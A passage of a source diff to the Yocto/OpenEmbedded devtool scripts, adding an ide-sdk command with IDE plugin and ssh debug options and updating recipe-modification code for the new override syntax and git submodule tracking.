+ gdb_cross.initialize(config, workspace, tinfoil)
+ bootstrap_tasks += gdb_cross.bootstrap_tasks
+ gdbs_cross[recipe_modified.target_arch] = gdb_cross
+ recipe_modified.gdb_cross = gdbs_cross[recipe_modified.target_arch]
+
+ finally:
+ tinfoil.shutdown()
+
+ if not args.skip_bitbake:
+ bb_cmd = 'bitbake '
+ if args.bitbake_k:
+ bb_cmd += "-k "
+ bb_cmd_early = bb_cmd + ' '.join(bootstrap_tasks)
+ exec_build_env_command(
+ config.init_path, basepath, bb_cmd_early, watch=True)
+ if bootstrap_tasks_late:
+ bb_cmd_late = bb_cmd + ' '.join(bootstrap_tasks_late)
+ exec_build_env_command(
+ config.init_path, basepath, bb_cmd_late, watch=True)
+
+ for recipe_image in recipes_images:
+ if (recipe_image.gdbserver_missing):
+ logger.warning(
+ "gdbserver not installed in image %s. Remote debugging will not be available" % recipe_image)
+
+ if recipe_image.combine_dbg_image is False:
+ logger.warning(
+ 'IMAGE_CLASSES += "image-combined-dbg" is missing for image %s. Remote debugging will not find debug symbols from rootfs-dbg.' % recipe_image)
+
+ # Instantiate the active IDE plugin
+ ide = ide_plugins[args.ide]()
+ if args.mode == DevtoolIdeMode.shared:
+ ide.setup_shared_sysroots(shared_env)
+ elif args.mode == DevtoolIdeMode.modified:
+ for recipe_modified in recipes_modified:
+ if recipe_modified.build_tool is BuildTool.CMAKE:
+ recipe_modified.cmake_preset()
+ if recipe_modified.build_tool is BuildTool.MESON:
+ recipe_modified.gen_meson_wrapper()
+ ide.setup_modified_recipe(
+ args, recipe_image, recipe_modified)
+ else:
+ raise DevtoolError("Must not end up here.")
+
+
+def register_commands(subparsers, context):
+ """Register devtool subcommands from this plugin"""
+
+ global ide_plugins
+
+ # Search for IDE plugins in all sub-folders named ide_plugins where devtool seraches for plugins.
+ pluginpaths = [os.path.join(path, 'ide_plugins')
+ for path in context.pluginpaths]
+ ide_plugin_modules = []
+ for pluginpath in pluginpaths:
+ scriptutils.load_plugins(logger, ide_plugin_modules, pluginpath)
+
+ for ide_plugin_module in ide_plugin_modules:
+ if hasattr(ide_plugin_module, 'register_ide_plugin'):
+ ide_plugin_module.register_ide_plugin(ide_plugins)
+ # Sort plugins according to their priority. The first entry is the default IDE plugin.
+ ide_plugins = dict(sorted(ide_plugins.items(),
+ key=lambda p: p[1].ide_plugin_priority(), reverse=True))
+
+ parser_ide_sdk = subparsers.add_parser('ide-sdk', group='working', order=50, formatter_class=RawTextHelpFormatter,
+ help='Setup the SDK and configure the IDE')
+ parser_ide_sdk.add_argument(
+ 'recipenames', nargs='+', help='Generate an IDE configuration suitable to work on the given recipes.\n'
+ 'Depending on the --mode paramter different types of SDKs and IDE configurations are generated.')
+ parser_ide_sdk.add_argument(
+ '-m', '--mode', type=DevtoolIdeMode, default=DevtoolIdeMode.modified,
+ help='Different SDK types are supported:\n'
+ '- "' + DevtoolIdeMode.modified.name + '" (default):\n'
+ ' devtool modify creates a workspace to work on the source code of a recipe.\n'
+ ' devtool ide-sdk builds the SDK and generates the IDE configuration(s) in the workspace directorie(s)\n'
+ ' Usage example:\n'
+ ' devtool modify cmake-example\n'
+ ' devtool ide-sdk cmake-example core-image-minimal\n'
+ ' Start the IDE in the workspace folder\n'
+ ' At least one devtool modified recipe plus one image recipe are required:\n'
+ ' The image recipe is used to generate the target image and the remote debug configuration.\n'
+ '- "' + DevtoolIdeMode.shared.name + '":\n'
+ ' Usage example:\n'
+ ' devtool ide-sdk -m ' + DevtoolIdeMode.shared.name + ' recipe(s)\n'
+ ' This command generates a cross-toolchain as well as the corresponding shared sysroot directories.\n'
+ ' To use this tool-chain the environment-* file found in the deploy..image folder needs to be sourced into a shell.\n'
+ ' In case of VSCode and cmake the tool-chain is also exposed as a cmake-kit')
+ default_ide = list(ide_plugins.keys())[0]
+ parser_ide_sdk.add_argument(
+ '-i', '--ide', choices=ide_plugins.keys(), default=default_ide,
+ help='Setup the configuration for this IDE (default: %s)' % default_ide)
+ parser_ide_sdk.add_argument(
+ '-t', '--target', default='root@192.168.7.2',
+ help='Live target machine running an ssh server: user@hostname.')
+ parser_ide_sdk.add_argument(
+ '-G', '--gdbserver-port-start', default="1234", help='port where gdbserver is listening.')
+ parser_ide_sdk.add_argument(
+ '-c', '--no-host-check', help='Disable ssh host key checking', action='store_true')
+ parser_ide_sdk.add_argument(
+ '-e', '--ssh-exec', help='Executable to use in place of ssh')
+ parser_ide_sdk.add_argument(
+ '-P', '--port', help='Specify ssh port to use for connection to the target')
+ parser_ide_sdk.add_argument(
+ '-I', '--key', help='Specify ssh private key for connection to the target')
+ parser_ide_sdk.add_argument(
+ '--skip-bitbake', help='Generate IDE configuration but skip calling bibtake to update the SDK.', action='store_true')
+ parser_ide_sdk.add_argument(
+ '-k', '--bitbake-k', help='Pass -k parameter to bitbake', action='store_true')
+ parser_ide_sdk.add_argument(
+ '--no-strip', help='Do not strip executables prior to deploy', dest='strip', action='store_false')
+ parser_ide_sdk.add_argument(
+ '-n', '--dry-run', help='List files to be undeployed only', action='store_true')
+ parser_ide_sdk.add_argument(
+ '-s', '--show-status', help='Show progress/status output', action='store_true')
+ parser_ide_sdk.add_argument(
+ '-p', '--no-preserve', help='Do not preserve existing files', action='store_true')
+ parser_ide_sdk.add_argument(
+ '--no-check-space', help='Do not check for available space before deploying', action='store_true')
+ parser_ide_sdk.add_argument(
+ '--debug-build-config', help='Use debug build flags, for example set CMAKE_BUILD_TYPE=Debug', action='store_true')
+ parser_ide_sdk.set_defaults(func=ide_setup)
diff --git a/scripts/lib/devtool/menuconfig.py b/scripts/lib/devtool/menuconfig.py
index 95384c5333..18daef30c3 100644
--- a/scripts/lib/devtool/menuconfig.py
+++ b/scripts/lib/devtool/menuconfig.py
@@ -3,6 +3,8 @@
# Copyright (C) 2018 Xilinx
# Written by: Chandana Kalluri <ckalluri@xilinx.com>
#
+# SPDX-License-Identifier: MIT
+#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
@@ -43,7 +45,7 @@ def menuconfig(args, config, basepath, workspace):
return 1
check_workspace_recipe(workspace, args.component)
- pn = rd.getVar('PN', True)
+ pn = rd.getVar('PN')
if not rd.getVarFlag('do_menuconfig','task'):
raise DevtoolError("This recipe does not support menuconfig option")
diff --git a/scripts/lib/devtool/sdk.py b/scripts/lib/devtool/sdk.py
index 3aa42a1466..9aefd7e354 100644
--- a/scripts/lib/devtool/sdk.py
+++ b/scripts/lib/devtool/sdk.py
@@ -207,7 +207,7 @@ def sdk_update(args, config, basepath, workspace):
if not sstate_mirrors:
with open(os.path.join(conf_dir, 'site.conf'), 'a') as f:
f.write('SCONF_VERSION = "%s"\n' % site_conf_version)
- f.write('SSTATE_MIRRORS_append = " file://.* %s/sstate-cache/PATH \\n "\n' % updateserver)
+ f.write('SSTATE_MIRRORS:append = " file://.* %s/sstate-cache/PATH"\n' % updateserver)
finally:
shutil.rmtree(tmpsdk_dir)
@@ -300,7 +300,8 @@ def sdk_install(args, config, basepath, workspace):
return 2
try:
- exec_build_env_command(config.init_path, basepath, 'bitbake build-sysroots', watch=True)
+ exec_build_env_command(config.init_path, basepath, 'bitbake build-sysroots -c build_native_sysroot', watch=True)
+ exec_build_env_command(config.init_path, basepath, 'bitbake build-sysroots -c build_target_sysroot', watch=True)
except bb.process.ExecutionError as e:
raise DevtoolError('Failed to bitbake build-sysroots:\n%s' % (str(e)))
diff --git a/scripts/lib/devtool/search.py b/scripts/lib/devtool/search.py
index d24040df37..70b81cac5e 100644
--- a/scripts/lib/devtool/search.py
+++ b/scripts/lib/devtool/search.py
@@ -62,10 +62,11 @@ def search(args, config, basepath, workspace):
with open(os.path.join(pkgdata_dir, 'runtime', pkg), 'r') as f:
for line in f:
if ': ' in line:
- splitline = line.split(':', 1)
+ splitline = line.split(': ', 1)
key = splitline[0]
value = splitline[1].strip()
- if key in ['PKG_%s' % pkg, 'DESCRIPTION', 'FILES_INFO'] or key.startswith('FILERPROVIDES_'):
+ key = key.replace(":" + pkg, "")
+ if key in ['PKG', 'DESCRIPTION', 'FILES_INFO', 'FILERPROVIDES']:
if keyword_rc.search(value):
match = True
break
diff --git a/scripts/lib/devtool/standard.py b/scripts/lib/devtool/standard.py
index bab644b83a..6674e67267 100644
--- a/scripts/lib/devtool/standard.py
+++ b/scripts/lib/devtool/standard.py
@@ -147,6 +147,8 @@ def add(args, config, basepath, workspace):
extracmdopts += ' -a'
if args.npm_dev:
extracmdopts += ' --npm-dev'
+ if args.no_pypi:
+ extracmdopts += ' --no-pypi'
if args.mirrors:
extracmdopts += ' --mirrors'
if args.srcrev:
@@ -234,10 +236,14 @@ def add(args, config, basepath, workspace):
if args.fetchuri and not args.no_git:
setup_git_repo(srctree, args.version, 'devtool', d=tinfoil.config_data)
- initial_rev = None
+ initial_rev = {}
if os.path.exists(os.path.join(srctree, '.git')):
(stdout, _) = bb.process.run('git rev-parse HEAD', cwd=srctree)
- initial_rev = stdout.rstrip()
+ initial_rev["."] = stdout.rstrip()
+ (stdout, _) = bb.process.run('git submodule --quiet foreach --recursive \'echo `git rev-parse HEAD` $PWD\'', cwd=srctree)
+ for line in stdout.splitlines():
+ (rev, submodule) = line.split()
+ initial_rev[os.path.relpath(submodule, srctree)] = rev
if args.src_subdir:
srctree = os.path.join(srctree, args.src_subdir)
@@ -251,16 +257,17 @@ def add(args, config, basepath, workspace):
if b_is_s:
f.write('EXTERNALSRC_BUILD = "%s"\n' % srctree)
if initial_rev:
- f.write('\n# initial_rev: %s\n' % initial_rev)
+ for key, value in initial_rev.items():
+ f.write('\n# initial_rev %s: %s\n' % (key, value))
if args.binary:
- f.write('do_install_append() {\n')
+ f.write('do_install:append() {\n')
f.write(' rm -rf ${D}/.git\n')
f.write(' rm -f ${D}/singletask.lock\n')
f.write('}\n')
if bb.data.inherits_class('npm', rd):
- f.write('python do_configure_append() {\n')
+ f.write('python do_configure:append() {\n')
f.write(' pkgdir = d.getVar("NPM_PACKAGE")\n')
f.write(' lockfile = os.path.join(pkgdir, "singletask.lock")\n')
f.write(' bb.utils.remove(lockfile)\n')
@@ -318,10 +325,6 @@ def _check_compatible_recipe(pn, d):
raise DevtoolError("The %s recipe is a packagegroup, and therefore is "
"not supported by this tool" % pn, 4)
- if bb.data.inherits_class('meta', d):
- raise DevtoolError("The %s recipe is a meta-recipe, and therefore is "
- "not supported by this tool" % pn, 4)
-
if bb.data.inherits_class('externalsrc', d) and d.getVar('EXTERNALSRC'):
# Not an incompatibility error per se, so we don't pass the error code
raise DevtoolError("externalsrc is currently enabled for the %s "
@@ -357,7 +360,7 @@ def _move_file(src, dst, dry_run_outdir=None, base_outdir=None):
bb.utils.mkdirhier(dst_d)
shutil.move(src, dst)
-def _copy_file(src, dst, dry_run_outdir=None):
+def _copy_file(src, dst, dry_run_outdir=None, base_outdir=None):
"""Copy a file. Creates all the directory components of destination path."""
dry_run_suffix = ' (dry-run)' if dry_run_outdir else ''
logger.debug('Copying %s to %s%s' % (src, dst, dry_run_suffix))
@@ -457,7 +460,7 @@ def sync(args, config, basepath, workspace):
finally:
tinfoil.shutdown()
-def symlink_oelocal_files_srctree(rd,srctree):
+def symlink_oelocal_files_srctree(rd, srctree):
import oe.patch
if os.path.abspath(rd.getVar('S')) == os.path.abspath(rd.getVar('WORKDIR')):
# If recipe extracts to ${WORKDIR}, symlink the files into the srctree
@@ -474,14 +477,14 @@ def symlink_oelocal_files_srctree(rd,srctree):
destpth = os.path.join(srctree, relpth, fn)
if os.path.exists(destpth):
os.unlink(destpth)
- os.symlink('oe-local-files/%s' % fn, destpth)
+ if relpth != '.':
+ back_relpth = os.path.relpath(local_files_dir, root)
+ os.symlink('%s/oe-local-files/%s/%s' % (back_relpth, relpth, fn), destpth)
+ else:
+ os.symlink('oe-local-files/%s' % fn, destpth)
addfiles.append(os.path.join(relpth, fn))
if addfiles:
- bb.process.run('git add %s' % ' '.join(addfiles), cwd=srctree)
- useroptions = []
- oe.patch.GitApplyTree.gitCommandUserOptions(useroptions, d=rd)
- bb.process.run('git %s commit -m "Committing local file symlinks\n\n%s"' % (' '.join(useroptions), oe.patch.GitApplyTree.ignore_commit_prefix), cwd=srctree)
-
+ oe.patch.GitApplyTree.commitIgnored("Add local file symlinks", dir=srctree, files=addfiles, d=rd)
def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, workspace, fixed_setup, d, tinfoil, no_overrides=False):
"""Extract sources of a recipe"""
@@ -519,8 +522,10 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
history = d.varhistory.variable('SRC_URI')
for event in history:
if not 'flag' in event:
- if event['op'].startswith(('_append[', '_prepend[')):
- extra_overrides.append(event['op'].split('[')[1].split(']')[0])
+ if event['op'].startswith((':append[', ':prepend[')):
+ override = event['op'].split('[')[1].split(']')[0]
+ if not override.startswith('pn-'):
+ extra_overrides.append(override)
# We want to remove duplicate overrides. If a recipe had multiple
# SRC_URI_override += values it would cause mulitple instances of
# overrides. This doesn't play nicely with things like creating a
@@ -531,7 +536,6 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
initial_rev = None
- appendexisted = False
recipefile = d.getVar('FILE')
appendfile = recipe_to_append(recipefile, config)
is_kernel_yocto = bb.data.inherits_class('kernel-yocto', d)
@@ -566,6 +570,9 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
logger.debug('writing append file %s' % appendfile)
with open(appendfile, 'a') as f:
f.write('###--- _extract_source\n')
+ f.write('deltask do_recipe_qa\n')
+ f.write('deltask do_recipe_qa_setscene\n')
+ f.write('ERROR_QA:remove = "patch-fuzz"\n')
f.write('DEVTOOL_TEMPDIR = "%s"\n' % tempdir)
f.write('DEVTOOL_DEVBRANCH = "%s"\n' % devbranch)
if not is_kernel_yocto:
@@ -583,6 +590,7 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
preservestampfile = os.path.join(sstate_manifests, 'preserve-stamps')
with open(preservestampfile, 'w') as f:
f.write(d.getVar('STAMP'))
+ tinfoil.modified_files()
try:
if is_kernel_yocto:
# We need to generate the kernel config
@@ -590,6 +598,16 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
else:
task = 'do_patch'
+ if 'noexec' in (d.getVarFlags(task, False) or []) or 'task' not in (d.getVarFlags(task, False) or []):
+ logger.info('The %s recipe has %s disabled. Running only '
+ 'do_configure task dependencies' % (pn, task))
+
+ if 'depends' in d.getVarFlags('do_configure', False):
+ pn = d.getVarFlags('do_configure', False)['depends']
+ pn = pn.replace('${PV}', d.getVar('PV'))
+ pn = pn.replace('${COMPILERDEP}', d.getVar('COMPILERDEP'))
+ task = None
+
# Run the fetch + unpack tasks
res = tinfoil.build_targets(pn,
task,
@@ -601,6 +619,17 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
if not res:
raise DevtoolError('Extracting source for %s failed' % pn)
+ if not is_kernel_yocto and ('noexec' in (d.getVarFlags('do_patch', False) or []) or 'task' not in (d.getVarFlags('do_patch', False) or [])):
+ workshareddir = d.getVar('S')
+ if os.path.islink(srctree):
+ os.unlink(srctree)
+
+ os.symlink(workshareddir, srctree)
+
+ # The initial_rev file is created in devtool_post_unpack function that will not be executed if
+ # do_unpack/do_patch tasks are disabled so we have to directly say that source extraction was successful
+ return True, True
+
try:
with open(os.path.join(tempdir, 'initial_rev'), 'r') as f:
initial_rev = f.read()
@@ -624,9 +653,9 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
if os.path.exists(workshareddir) and (not os.listdir(workshareddir) or kernelVersion != staging_kerVer):
shutil.rmtree(workshareddir)
- oe.path.copyhardlinktree(srcsubdir,workshareddir)
+ oe.path.copyhardlinktree(srcsubdir, workshareddir)
elif not os.path.exists(workshareddir):
- oe.path.copyhardlinktree(srcsubdir,workshareddir)
+ oe.path.copyhardlinktree(srcsubdir, workshareddir)
tempdir_localdir = os.path.join(tempdir, 'oe-local-files')
srctree_localdir = os.path.join(srctree, 'oe-local-files')
@@ -634,13 +663,13 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
if sync:
bb.process.run('git fetch file://' + srcsubdir + ' ' + devbranch + ':' + devbranch, cwd=srctree)
- # Move oe-local-files directory to srctree
- # As the oe-local-files is not part of the constructed git tree,
- # remove them directly during the synchrounizating might surprise
- # the users. Instead, we move it to oe-local-files.bak and remind
- # user in the log message.
+ # Move the oe-local-files directory to srctree.
+ # As oe-local-files is not part of the constructed git tree,
+ # removing it directly during the synchronization might surprise
+ # the user. Instead, we move it to oe-local-files.bak and remind
+ # the user in the log message.
if os.path.exists(srctree_localdir + '.bak'):
- shutil.rmtree(srctree_localdir, srctree_localdir + '.bak')
+ shutil.rmtree(srctree_localdir + '.bak')
if os.path.exists(srctree_localdir):
logger.info('Backing up current local file directory %s' % srctree_localdir)
@@ -656,7 +685,7 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
shutil.move(tempdir_localdir, srcsubdir)
shutil.move(srcsubdir, srctree)
- symlink_oelocal_files_srctree(d,srctree)
+ symlink_oelocal_files_srctree(d, srctree)
if is_kernel_yocto:
logger.info('Copying kernel config to srctree')
@@ -722,14 +751,14 @@ def _check_preserve(config, recipename):
os.remove(removefile)
else:
tf.write(line)
- os.rename(newfile, origfile)
+ bb.utils.rename(newfile, origfile)
def get_staging_kver(srcdir):
# Kernel version from work-shared
kerver = []
staging_kerVer=""
if os.path.exists(srcdir) and os.listdir(srcdir):
- with open(os.path.join(srcdir,"Makefile")) as f:
+ with open(os.path.join(srcdir, "Makefile")) as f:
version = [next(f) for x in range(5)][1:4]
for word in version:
kerver.append(word.split('= ')[1].split('\n')[0])
@@ -739,10 +768,20 @@ def get_staging_kver(srcdir):
def get_staging_kbranch(srcdir):
staging_kbranch = ""
if os.path.exists(srcdir) and os.listdir(srcdir):
- (branch, _) = bb.process.run('git branch | grep \* | cut -d \' \' -f2', cwd=srcdir)
+ (branch, _) = bb.process.run('git branch | grep \\* | cut -d \' \' -f2', cwd=srcdir)
staging_kbranch = "".join(branch.split('\n')[0])
return staging_kbranch
+def get_real_srctree(srctree, s, workdir):
+ # Check that recipe isn't using a shared workdir
+ s = os.path.abspath(s)
+ workdir = os.path.abspath(workdir)
+ if s.startswith(workdir) and s != workdir and os.path.dirname(s) != workdir:
+ # Handle if S is set to a subdirectory of the source
+ srcsubdir = os.path.relpath(s, workdir).split(os.sep, 1)[1]
+ srctree = os.path.join(srctree, srcsubdir)
+ return srctree
+
def modify(args, config, basepath, workspace):
"""Entry point for the devtool 'modify' subcommand"""
import bb
@@ -787,8 +826,8 @@ def modify(args, config, basepath, workspace):
_check_compatible_recipe(pn, rd)
- initial_rev = None
- commits = []
+ initial_revs = {}
+ commits = {}
check_commits = False
if bb.data.inherits_class('kernel-yocto', rd):
@@ -800,10 +839,10 @@ def modify(args, config, basepath, workspace):
staging_kerVer = get_staging_kver(srcdir)
staging_kbranch = get_staging_kbranch(srcdir)
if (os.path.exists(srcdir) and os.listdir(srcdir)) and (kernelVersion in staging_kerVer and staging_kbranch == kbranch):
- oe.path.copyhardlinktree(srcdir,srctree)
+ oe.path.copyhardlinktree(srcdir, srctree)
workdir = rd.getVar('WORKDIR')
srcsubdir = rd.getVar('S')
- localfilesdir = os.path.join(srctree,'oe-local-files')
+ localfilesdir = os.path.join(srctree, 'oe-local-files')
# Move local source files into separate subdir
recipe_patches = [os.path.basename(patch) for patch in oe.recipeutils.get_recipe_patches(rd)]
local_files = oe.recipeutils.get_recipe_local_files(rd)
@@ -827,9 +866,9 @@ def modify(args, config, basepath, workspace):
for fname in local_files:
_move_file(os.path.join(workdir, fname), os.path.join(srctree, 'oe-local-files', fname))
with open(os.path.join(srctree, 'oe-local-files', '.gitignore'), 'w') as f:
- f.write('# Ignore local files, by default. Remove this file ''if you want to commit the directory to Git\n*\n')
+ f.write('# Ignore local files, by default. Remove this file if you want to commit the directory to Git\n*\n')
- symlink_oelocal_files_srctree(rd,srctree)
+ symlink_oelocal_files_srctree(rd, srctree)
task = 'do_configure'
res = tinfoil.build_targets(pn, task, handle_events=True)
@@ -837,21 +876,30 @@ def modify(args, config, basepath, workspace):
# Copy .config to workspace
kconfpath = rd.getVar('B')
logger.info('Copying kernel config to workspace')
- shutil.copy2(os.path.join(kconfpath, '.config'),srctree)
+ shutil.copy2(os.path.join(kconfpath, '.config'), srctree)
# Set this to true, we still need to get initial_rev
# by parsing the git repo
args.no_extract = True
if not args.no_extract:
- initial_rev, _ = _extract_source(srctree, args.keep_temp, args.branch, False, config, basepath, workspace, args.fixed_setup, rd, tinfoil, no_overrides=args.no_overrides)
- if not initial_rev:
+ initial_revs["."], _ = _extract_source(srctree, args.keep_temp, args.branch, False, config, basepath, workspace, args.fixed_setup, rd, tinfoil, no_overrides=args.no_overrides)
+ if not initial_revs["."]:
return 1
logger.info('Source tree extracted to %s' % srctree)
- # Get list of commits since this revision
- (stdout, _) = bb.process.run('git rev-list --reverse %s..HEAD' % initial_rev, cwd=srctree)
- commits = stdout.split()
- check_commits = True
+
+ if os.path.exists(os.path.join(srctree, '.git')):
+ # Get list of commits since this revision
+ (stdout, _) = bb.process.run('git rev-list --reverse %s..HEAD' % initial_revs["."], cwd=srctree)
+ commits["."] = stdout.split()
+ check_commits = True
+ (stdout, _) = bb.process.run('git submodule --quiet foreach --recursive \'echo `git rev-parse devtool-base` $PWD\'', cwd=srctree)
+ for line in stdout.splitlines():
+ (rev, submodule_path) = line.split()
+ submodule = os.path.relpath(submodule_path, srctree)
+ initial_revs[submodule] = rev
+ (stdout, _) = bb.process.run('git rev-list --reverse devtool-base..HEAD', cwd=submodule_path)
+ commits[submodule] = stdout.split()
else:
if os.path.exists(os.path.join(srctree, '.git')):
# Check if it's a tree previously extracted by us. This is done
@@ -868,11 +916,11 @@ def modify(args, config, basepath, workspace):
for line in stdout.splitlines():
if line.startswith('*'):
(stdout, _) = bb.process.run('git rev-parse devtool-base', cwd=srctree)
- initial_rev = stdout.rstrip()
- if not initial_rev:
+ initial_revs["."] = stdout.rstrip()
+ if "." not in initial_revs:
# Otherwise, just grab the head revision
(stdout, _) = bb.process.run('git rev-parse HEAD', cwd=srctree)
- initial_rev = stdout.rstrip()
+ initial_revs["."] = stdout.rstrip()
branch_patches = {}
if check_commits:
@@ -889,62 +937,81 @@ def modify(args, config, basepath, workspace):
seen_patches = []
for branch in branches:
branch_patches[branch] = []
- (stdout, _) = bb.process.run('git log devtool-base..%s' % branch, cwd=srctree)
- for line in stdout.splitlines():
- line = line.strip()
- if line.startswith(oe.patch.GitApplyTree.patch_line_prefix):
- origpatch = line[len(oe.patch.GitApplyTree.patch_line_prefix):].split(':', 1)[-1].strip()
- if not origpatch in seen_patches:
- seen_patches.append(origpatch)
- branch_patches[branch].append(origpatch)
+ (stdout, _) = bb.process.run('git rev-list devtool-base..%s' % branch, cwd=srctree)
+ for sha1 in stdout.splitlines():
+ notes = oe.patch.GitApplyTree.getNotes(srctree, sha1.strip())
+ origpatch = notes.get(oe.patch.GitApplyTree.original_patch)
+ if origpatch and origpatch not in seen_patches:
+ seen_patches.append(origpatch)
+ branch_patches[branch].append(origpatch)
# Need to grab this here in case the source is within a subdirectory
srctreebase = srctree
-
- # Check that recipe isn't using a shared workdir
- s = os.path.abspath(rd.getVar('S'))
- workdir = os.path.abspath(rd.getVar('WORKDIR'))
- if s.startswith(workdir) and s != workdir and os.path.dirname(s) != workdir:
- # Handle if S is set to a subdirectory of the source
- srcsubdir = os.path.relpath(s, workdir).split(os.sep, 1)[1]
- srctree = os.path.join(srctree, srcsubdir)
+ srctree = get_real_srctree(srctree, rd.getVar('S'), rd.getVar('WORKDIR'))
bb.utils.mkdirhier(os.path.dirname(appendfile))
with open(appendfile, 'w') as f:
- f.write('FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n')
+ # if not present, add type=git-dependency to the secondary sources
+ # (non local files) so they can be extracted correctly when building a recipe after
+ # doing a devtool modify on it
+ src_uri = rd.getVar('SRC_URI').split()
+ src_uri_append = []
+ src_uri_remove = []
+
+ # Assume first entry is main source extracted in ${S} so skip it
+ src_uri = src_uri[1::]
+
+ # Add "type=git-dependency" to all non local sources
+ for url in src_uri:
+ if not url.startswith('file://') and not 'type=' in url:
+ src_uri_remove.append(url)
+ src_uri_append.append('%s;type=git-dependency' % url)
+
+ if src_uri_remove:
+ f.write('SRC_URI:remove = "%s"\n' % ' '.join(src_uri_remove))
+ f.write('SRC_URI:append = " %s"\n\n' % ' '.join(src_uri_append))
+
+ f.write('FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n')
# Local files can be modified/tracked in separate subdir under srctree
# Mostly useful for packages with S != WORKDIR
- f.write('FILESPATH_prepend := "%s:"\n' %
+ f.write('FILESPATH:prepend := "%s:"\n' %
os.path.join(srctreebase, 'oe-local-files'))
f.write('# srctreebase: %s\n' % srctreebase)
f.write('\ninherit externalsrc\n')
f.write('# NOTE: We use pn- overrides here to avoid affecting multiple variants in the case where the recipe uses BBCLASSEXTEND\n')
- f.write('EXTERNALSRC_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC:pn-%s = "%s"\n' % (pn, srctree))
b_is_s = use_external_build(args.same_dir, args.no_same_dir, rd)
if b_is_s:
- f.write('EXTERNALSRC_BUILD_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC_BUILD:pn-%s = "%s"\n' % (pn, srctree))
if bb.data.inherits_class('kernel', rd):
f.write('SRCTREECOVEREDTASKS = "do_validate_branches do_kernel_checkout '
- 'do_fetch do_unpack do_kernel_configme do_kernel_configcheck"\n')
+ 'do_fetch do_unpack do_kernel_configcheck"\n')
f.write('\ndo_patch[noexec] = "1"\n')
- f.write('\ndo_configure_append() {\n'
+ f.write('\ndo_configure:append() {\n'
' cp ${B}/.config ${S}/.config.baseline\n'
' ln -sfT ${B}/.config ${S}/.config.new\n'
'}\n')
- if rd.getVarFlag('do_menuconfig','task'):
- f.write('\ndo_configure_append() {\n'
- ' if [ ! ${DEVTOOL_DISABLE_MENUCONFIG} ]; then\n'
- ' cp ${B}/.config ${S}/.config.baseline\n'
- ' ln -sfT ${B}/.config ${S}/.config.new\n'
+ f.write('\ndo_kernel_configme:prepend() {\n'
+ ' if [ -e ${S}/.config ]; then\n'
+ ' mv ${S}/.config ${S}/.config.old\n'
+ ' fi\n'
+ '}\n')
+ if rd.getVarFlag('do_menuconfig', 'task'):
+ f.write('\ndo_configure:append() {\n'
+ ' if [ ${@oe.types.boolean(d.getVar("KCONFIG_CONFIG_ENABLE_MENUCONFIG"))} = True ]; then\n'
+ ' cp ${KCONFIG_CONFIG_ROOTDIR}/.config ${S}/.config.baseline\n'
+ ' ln -sfT ${KCONFIG_CONFIG_ROOTDIR}/.config ${S}/.config.new\n'
' fi\n'
'}\n')
- if initial_rev:
- f.write('\n# initial_rev: %s\n' % initial_rev)
- for commit in commits:
- f.write('# commit: %s\n' % commit)
+ if initial_revs:
+ for name, rev in initial_revs.items():
+ f.write('\n# initial_rev %s: %s\n' % (name, rev))
+ if name in commits:
+ for commit in commits[name]:
+ f.write('# commit %s: %s\n' % (name, commit))
if branch_patches:
for branch in branch_patches:
if branch == args.branch:
@@ -1064,10 +1131,10 @@ def rename(args, config, basepath, workspace):
# Rename bbappend
logger.info('Renaming %s to %s' % (append, newappend))
- os.rename(append, newappend)
+ bb.utils.rename(append, newappend)
# Rename recipe file
logger.info('Renaming %s to %s' % (recipefile, newfile))
- os.rename(recipefile, newfile)
+ bb.utils.rename(recipefile, newfile)
# Rename source tree if it's the default path
appendmd5 = None
@@ -1167,44 +1234,56 @@ def _get_patchset_revs(srctree, recipe_path, initial_rev=None, force_patch_refre
branchname = stdout.rstrip()
# Parse initial rev from recipe if not specified
- commits = []
+ commits = {}
patches = []
+ initial_revs = {}
with open(recipe_path, 'r') as f:
for line in f:
- if line.startswith('# initial_rev:'):
- if not initial_rev:
- initial_rev = line.split(':')[-1].strip()
- elif line.startswith('# commit:') and not force_patch_refresh:
- commits.append(line.split(':')[-1].strip())
- elif line.startswith('# patches_%s:' % branchname):
- patches = line.split(':')[-1].strip().split(',')
-
- update_rev = initial_rev
- changed_revs = None
- if initial_rev:
+ pattern = r'^#\s.*\s(.*):\s([0-9a-fA-F]+)$'
+ match = re.search(pattern, line)
+ if match:
+ name = match.group(1)
+ rev = match.group(2)
+ if line.startswith('# initial_rev'):
+ if not (name == "." and initial_rev):
+ initial_revs[name] = rev
+ elif line.startswith('# commit') and not force_patch_refresh:
+ if name not in commits:
+ commits[name] = [rev]
+ else:
+ commits[name].append(rev)
+ elif line.startswith('# patches_%s:' % branchname):
+ patches = line.split(':')[-1].strip().split(',')
+
+ update_revs = dict(initial_revs)
+ changed_revs = {}
+ for name, rev in initial_revs.items():
# Find first actually changed revision
stdout, _ = bb.process.run('git rev-list --reverse %s..HEAD' %
- initial_rev, cwd=srctree)
+ rev, cwd=os.path.join(srctree, name))
newcommits = stdout.split()
- for i in range(min(len(commits), len(newcommits))):
- if newcommits[i] == commits[i]:
- update_rev = commits[i]
+ if name in commits:
+ for i in range(min(len(commits[name]), len(newcommits))):
+ if newcommits[i] == commits[name][i]:
+ update_revs[name] = commits[name][i]
try:
stdout, _ = bb.process.run('git cherry devtool-patched',
- cwd=srctree)
+ cwd=os.path.join(srctree, name))
except bb.process.ExecutionError as err:
stdout = None
if stdout is not None and not force_patch_refresh:
- changed_revs = []
for line in stdout.splitlines():
if line.startswith('+ '):
rev = line.split()[1]
if rev in newcommits:
- changed_revs.append(rev)
+ if name not in changed_revs:
+ changed_revs[name] = [rev]
